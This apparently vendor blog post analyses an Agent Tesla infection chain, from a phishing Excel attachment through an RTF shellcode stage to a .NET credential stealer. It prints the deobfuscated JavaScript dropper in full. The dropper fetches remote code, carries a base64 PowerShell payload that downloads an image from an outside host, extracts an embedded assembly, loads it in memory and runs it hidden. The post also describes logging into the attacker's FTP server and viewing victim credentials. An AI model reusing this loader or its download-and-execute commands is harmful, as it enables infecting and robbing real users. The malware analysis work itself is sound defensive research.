Analysis of Agent Tesla: Malicious Excel File

Agent Tesla first emerged in 2014 and has since undergone numerous updates, continuously evolving to evade detection and enhance its capabilities. Initially, it was a relatively simple keylogger and information stealer. However, over the years, it has transformed into a sophisticated spyware tool capable of harvesting a wide range of sensitive information from infected systems. Its developers have adeptly kept pace with advancements in cybersecurity defenses, ensuring that Agent Tesla remains a potent threat.

Agent Tesla’s Functions and Techniques

Agent Tesla’s primary function is to capture and exfiltrate data from infected machines. It accomplishes this through various techniques, including:

  1. Keylogging: Agent Tesla records keystrokes, capturing everything typed by the user, from passwords and usernames to email content and chat messages.
  2. Clipboard Monitoring: It monitors clipboard activities, allowing it to steal copied data, which often includes passwords, credit card numbers, and other sensitive information.
  3. Screenshot Capture: The malware can take screenshots of the user’s desktop at regular intervals, providing attackers with visual insights into the victim’s activities.
  4. Credential Harvesting: Agent Tesla is adept at stealing credentials stored in browsers, email clients, and FTP clients. It can extract saved passwords and other login details, significantly compromising the victim’s online accounts.
  5. Data Exfiltration: Once collected, the stolen data is sent back to the attackers via various methods, including email, FTP, and HTTP POST requests. This data is then used for further exploitation or sold on the dark web.

In this article, we will analyze a malicious Excel file. Upon examining the preview of the phishing email within DocGuard, it becomes evident that the email contains an attached Excel file.

On VirusTotal, we can observe that the file has managed to bypass almost all antivirus programs, with a detection score of just 5 out of 64.

Time to Analyze

First, the oleid can be used to gather information about the Excel file.

Based on this output, it shows that the Excel file is encrypted and contains VBA code. The tool can be used to discover the password of the Excel file.

After obtaining the password, the correct password can be entered to check if there are any URLs within the Excel file.

After getting the link, it downloads an RTF file. Then, the RTF file can be analyze using the tool and dump its contents, allowing its sections to be listed and examined further.

The fourth section in the dumped RTF file seems to be an encrypted shellcode block. To decrypt this encryption, the xorsearch tool can be used to identify the key used for encryption.

Afterwards, the suggested keys can be tested using the scdbg tool, allowing for the decryption of the shellcode and elucidation of its functions with appropriate analysis.

The notable function here is URLDownloadToFileW, with its URL. Accessing this URL will yield the following JavaScript code:

var perempto = [];
function regaladamente(brasiliano)
    if (!brasiliano)
    return p
function dozeno()
    if (perempto.desmastrar === 0)
        return null
    var brasiliano = perempto.dozeno()
    return brasiliano
function marrafa()
    if (perempto.desmastrar === 0)
        return null
    return perempto[perempto.desmastrar-1]
var paparicos = new ActiveXObject("MSXML2.XMLHTTP");
var alijar = "GXWWy/d/ee.etsap//:sptth".split("").reverse().join("");"GET", alijar, false);
var vomitar = "";
if (paparicos.status === 200) {
    vomitar = paparicos.responseText;
function estarostia(piguancha) {
paparicos = null;

This code is basically about returning the URL to its normal format and executing the code it contains. Below is the code in this url.

var pskNs = '', psk11Ns = '', psk12Ns = '', psf2Ns = '', psfNs = '', xsiNs = '', xsdNs = '', pdfNs = '';
function completePrintCapabilities(e, t, s) {
	var a, r = s.XmlNode;
	if (SetStandardNameSpaces(r), null != (a = r.selectSingleNode('psf:PrintCapabilities'))) {
		var n = t.QueueProperties.GetReadStreamAsXML('PrintDeviceCapabilities');
		for (var i = n.selectSingleNode('psf2:PrintDeviceCapabilities').selectNodes("*[@psf2:psftype='ParameterDef']"), m = getPrefixForNamespace(r, pdfNs), c = 0; c < i.length; c++) {
			var p = CreateCapabilitiesParamDefFromPDC(i[c], m, s);
try {
	var pedauca = 'ZnVuY3Rpb24gRG93bmxvYWREYXRhRnJvbUxpbmtzIHsgcGFyYW0gKFtzdHJpbmdbXV0kbGlua3MpICR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyAkZG93bmxvYWRlZERhdGEgPSBAKCk7ICRzaHVmZmxlZExpbmtzID0gJGxpbmtzIHwgR2V0LVJhbmRvbSAtQ291bnQgJGxpbmtzLkxlbmd0aDsgZm9yZWFjaCAoJGxpbmsgaW4gJHNodWZmbGVkTGlua3MpIHsgdHJ5IHsgJGRvd25sb2FkZWREYXRhICs9ICR3ZWJDbGllbnQuRG93bmxvYWREYXRhKCRsaW5rKSB9IGNhdGNoIHsgY29udGludWUgfSB9OyByZXR1cm4gJGRvd25sb2FkZWREYXRhIH07ICRsaW5rcyA9IEAoJ2h0dHBzOi8vdXBsb2FkZGVpbWFnZW5zLmNvbS5ici9pbWFnZXMvMDA0Lzc3My84MTIvb3JpZ2luYWwvanMuanBnPzE3MTM4ODI3NzgnLCAnaHR0cHM6Ly91cGxvYWRkZWltYWdlbnMuY29tLmJyL2ltYWdlcy8wMDQvNzczLzgxMi9vcmlnaW5hbC9qcy5qcGc/MTcxMzg4Mjc3OCcpOyAkaW1hZ2VCeXRlcyA9IERvd25sb2FkRGF0YUZyb21MaW5rcyAkbGlua3M7IGlmICgkaW1hZ2VCeXRlcyAtbmUgJG51bGwpIHsgJGltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRpbWFnZUJ5dGVzKTsgJHN0YXJ0RmxhZyA9ICc8PEJBU0U2NF9TVEFSVD4+JzsgJGVuZEZsYWcgPSAnPDxCQVNFNjRfRU5EPj4nOyAkc3RhcnRJbmRleCA9ICRpbWFnZVRleHQuSW5kZXhPZigkc3RhcnRGbGFnKTsgJGVuZEluZGV4ID0gJGltYWdlVGV4dC5JbmRleE9mKCRlbmRGbGFnKTsgaWYgKCRzdGFydEluZGV4IC1nZSAwIC1hbmQgJGVuZEluZGV4IC1ndCAkc3RhcnRJbmRleCkgeyAkc3RhcnRJbmRleCArPSAkc3RhcnRGbGFnLkxlbmd0aDsgJGJhc2U2NExlbmd0aCA9ICRlbmRJbmRleCAtICRzdGFydEluZGV4OyAkYmFzZTY0Q29tbWFuZCA9ICRpbWFnZVRleHQuU3Vic3RyaW5nKCRzdGFydEluZGV4LCAkYmFzZTY0TGVuZ3RoKTsgJGNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGJhc2U2NENvbW1hbmQpOyAkbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjb21tYW5kQnl0ZXMpOyAkdHlwZSA9ICRsb2FkZWRBc3NlbWJseS5HZXRUeXBlKCdQUk9KRVRPQVVUT01BQ0FPLlZCLkhvbWUnKTsgJG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJykuSW52b2tlKCRudWxsLCBbb2JqZWN0W11dICgndHh0LmVyaWZsb3J0bm9jNDZlc2FiZGlvcmQvZ3JvLnNuZGtjdWQucnJyZXppbGF1cWUvLzpwdHRoJyAsICdkZXNhdGl2YWRvJyAsICdkZXNhdGl2YWRvJyAsICdkZXNhdGl2YWRvJywnQWRkSW5Qcm9jZXNzMzInLCdkZXNhdGl2YWRvJykpfX0=', mumpuma = new ActiveXObject('WScript.Shell'), sapatar = "$Codigo = '" + pedauca + "';";
	sapatar += '$OWjuxd = (New-Object System.Text.UTF8Encoding).GetString([System.Convert]::FromBase64String($Codigo));', sapatar += 'powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD', mumpuma.Run('powershell -command "' + sapatar + '"', 0, !1);
} catch (e) {
function convertDevModeToPrintTicket(e, t, s) {
	var a = getPrefixForNamespace(s.XmlNode, pdfNs);
	if (null != a)
		for (var r = getParameterDefs(t), n = 0; n < r.length; n++) {
			var i = e.getString(r[n]);
			if (null != i && i.length > 0) {
				var m = a + ':' + r[n], c = s.GetParameterInitializer(r[n], pdfNs);
				if (null == c) {
					var p = s.XmlNode.selectSingleNode('psf:PrintTicket'), o = createProperty(m, 'psf:ParameterInit', 'xsd:string', i, s);
				} else
					c.Value = i;
function convertPrintTicketToDevMode(e, t, s) {
	if (SetStandardNameSpaces(e.XmlNode), null != getPrefixForNamespace(e.XmlNode, pdfNs))
		for (var a = getParameterDefs(t), r = 0; r < a.length; r++) {
			var n = e.GetParameterInitializer(a[r], pdfNs);
			null != n && s.setString(a[r], n.Value);
function validatePrintTicket(e, t) {
	return 1;
function createProperty(e, t, s, a, r) {
	var n = r.XmlNode.createNode(1, t, psfNs);
	if (n.setAttribute('name', e), s.length > 0) {
		var i = r.XmlNode.createNode(1, 'psf:Value', psfNs), m = r.XmlNode.createNode(2, 'xsi:type', xsiNs);
		m.nodeValue = s, i.setAttributeNode(m);
		var c = r.XmlNode.createTextNode(a);
		i.appendChild(c), n.appendChild(i);
	return n;
function getParameterDefs(e) {
	var t = e.QueueProperties.GetReadStreamAsXML('PrintDeviceCapabilities');
	for (var s = t.selectSingleNode('psf2:PrintDeviceCapabilities').selectNodes("*[@psf2:psftype='ParameterDef']"), a = new Array(), r = 0; r < s.length; r++)
		a[r] = s[r].baseName;
	return a;
function CreateCapabilitiesParamDefFromPDC(e, t, s) {
	for (var a = createProperty(t + ':' + e.baseName, 'psf:ParameterDef', '', '', s), r = e.selectNodes("*[@psf2:psftype='Property']"), n = 0; n < r.length; n++) {
		var i = r[n], m = i.getAttribute('xsi:type'), c = createProperty(i.nodeName, 'psf:Property', m, i.text, s);
	return a;
function SetStandardNameSpaces(e) {
	e.setProperty('SelectionNamespaces', "xmlns:psf='' xmlns:psf2='' xmlns:psk='' xmlns:psk11='' xmlns:psk12='' xmlns:xsd='' xmlns:xsi='' xmlns:PdfNs='' ");
function getPrefixForNamespace(e, t) {
	if (!e)
		return null;
	var s, a = "namespace::node()[.='" + t + "']", r = e.documentElement.selectSingleNode(a);
	return null != r && (s = r.baseName), s;

The JavaScript code decodes the embedded base64-encoded data and extracts another set of PowerShell commands. Below, PowerShell commands are obtained by decoding the base64-encoded data using CyberChef:

The beautified version of the code is as follows:

When examining the PowerShell code, it seems that it will download a file from a link and extract the data between the <<BASE64_START>> and <<BASE64_END>> pointers for base64 decoding. Then, the decoded part will be loaded into memory and the endpoint will be the VAI function inside the PROJETOAUTOMACAO.VB.Home class. The parameters that the VAI function will take are given in the last line of the PowerShell commands.

The image file to download looks like the below.

To find the base64 formatted data in the image file, a regular expression is used as follows.

Then cyber chef is used to decode this base64 data.

The PE file from Cyber chef can be exported and information about the file can be obtained with the ExeinfoPE program.

According to the output, it seems to be developed with .net. Then you can examine the codes of the dropped pe file with dnspy.

In PROJETOAUTOMACAO.VB.Home.VAI, while determining the endpoint in the previous code as below, the file is downloaded from the url in the parameters given to the VAI function and reversed as a binary array. Then base64 decoding is done.

In this section, the binary file from the malicious code can be exported by running part of the code in a different file instead of manually fetching it.

The exeinfope program can be run to get information about the dropped pe file again.

Here again we see a .net enhanced pe file. This is the Agent Tesla trojan, so we will analyze it in the next section.

Analysis of Agent Tesla

First, the security protocol is configured. This feature allows developers to specify which SSL/TLS protocols should be used for secure connections.

The second step is a feature that allows developers to specify a custom validation method for server certificates. This feature is typically used when performing secure HTTPS requests and provides more granular control over the SSL/TLS certificate validation process.

The last step is to run the IzZy function.

The first thing done in the IzZy function is to check whether it is running except for its own process id.

Then it utilizes the following codes to gather information about the computer.

After this step, the agent tesla is analyzed part by part.

Anti Debugging
Sandbox Evasion
Tick Counter for Sandbox Evasion
Software Credential Stealer
NordVPN Credential Stealer Stub
OS and User Information Grabber
Victim Data Recording Stub
Malware Configuration Variables
Attacker’s FTP Credentials

FTP Server

The connection to the ftp server where the victims’ information is stored is as follows.

Connecting FTP Server Manually

Identification details of one of the victims:

Victim’s Credentials

Analyzing with DocGuard

Docguard can analyze the malicious excel file in seconds with a preview of the mail and from which mail it came. The report about the Excel file is as follows:

Docguard can also quickly analyze other dropped pe files.

MITRE ATT&CK Tactics and Techniques


MD5 62407e6f5de13fbf40c50cfb124be93d
Comments are closed.